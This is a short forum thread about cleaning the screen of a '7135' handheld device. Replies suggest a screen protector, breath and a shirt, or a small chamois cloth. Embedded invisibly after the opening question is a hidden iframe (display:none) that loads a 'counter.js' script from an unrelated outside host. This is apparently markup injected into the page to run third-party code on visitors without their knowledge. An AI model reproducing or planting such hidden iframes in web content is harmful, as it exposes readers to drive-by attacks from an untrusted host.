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    Cleaning 7135 screen

    What should I use solvent-wise and paper-wise to avoid damaging/scratching the screen?<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

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    In the future, get a screen protector so that you don't have to worry about it.
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    'kito (the original HAM!) is correct...


    but in the meantime, a big lot of warm, moist breath on the screen followed by a wipe of your shirt should clear up the everyday grime, finger oils, etc...

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    Re: Cleaning 7135 screen

    Originally posted by ari1979
    What should I use solvent-wise and paper-wise to avoid damaging/scratching the screen?
    I use a small shami(sp) cloth for mine. I had picked up one a long time ago that was sold specifcially for cleaning PDA screens from concept kitchen, but they don't appear to be in business anymore, and it really is just a very thin shami. You could pick up a bugger one in the automotive department of target or walmart and just cut a piece small enough to carry with you....

    Alan

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